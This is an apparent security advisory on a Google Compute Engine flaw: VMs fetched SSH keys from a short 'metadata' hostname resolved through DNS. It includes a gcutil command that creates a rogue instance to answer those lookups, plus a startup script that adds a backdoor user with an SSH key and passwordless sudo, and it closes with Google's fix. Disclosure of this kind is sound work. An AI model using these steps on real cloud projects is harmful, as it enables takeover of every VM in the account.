A user who creates a GCE VM with compute-rw privileges, who subsequently has that single VM compromised, can lead to a global compromise of all VMs inside of the account. VMs created in the web UI, by default, come with compute-rw privileges. Google’s account manager fetches ssh keys from the Google Metadata server on a short DNS name, which relies on DNS to expand to FQDN: /usr/share/google/google_daemon/desired_accounts.py: ATTRIBUTES_URL = ('http://metadata/computeMetadata/v1/?recursive=true&%s') INSTANCE_SSHKEYS_URL = ( 'http://metadata/computeMetadata/v1/instance/attributes/sshKeys?%s') PROJECT_SSHKEYS_URL = ( 'http://metadata/computeMetadata/v1/project/attributes/sshKeys?%s') We can exploit this by relying on Google’s addinstnace command to automatically add a new instance to the recursive DNS provider @ 169.254.169.254: gcutil addinstance --image=projects/debian-cloud/global/images/backports-debian-7-wheezy-v20140331 --zone=us-central1-a --machine_type=n1-standard-2 --metadata_from_file=startup-script:google-base.txt metadata — startup-script: #!/bin/bash export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin useradd testuser mkdir -p /home/testuser/.ssh cat <<EOF > /home/testuser/.ssh/authorized_keys ssh-rsa superawesome ssh@key EOF chmod 644 /home/testuser/.ssh/authorized_keys cat <<EOF >>/etc/sudoers testuser ALL=NOPASSWD: ALL EOF exit 0 Once the system is online, google’s account manager and google’s address manager will start making TCP/80 calls to our new server. This would allow you to compromise all Google Compute Engine VMs in the Google Project, as it would allow you to inject your own ssh key in to metadata's sshkeys k/v pair. Last but not least, if you otherwise had the ability to compromise DNS responses of Google Compute Engine VMs, you could simply use the lack of HMAC/DNS suffix in desired_accounts.py to compromise your targets. Response ------------- Google has updated its desired_accounts.py as follows: METADATA_V1_URL_PREFIX = 'http://169.254.169.254/computeMetadata/v1/' This avoids the problem on all newly created GCE VMs. However, older instances do not have any update mechanism available to them, leaving a substantial number of GCE VMs vulnerable.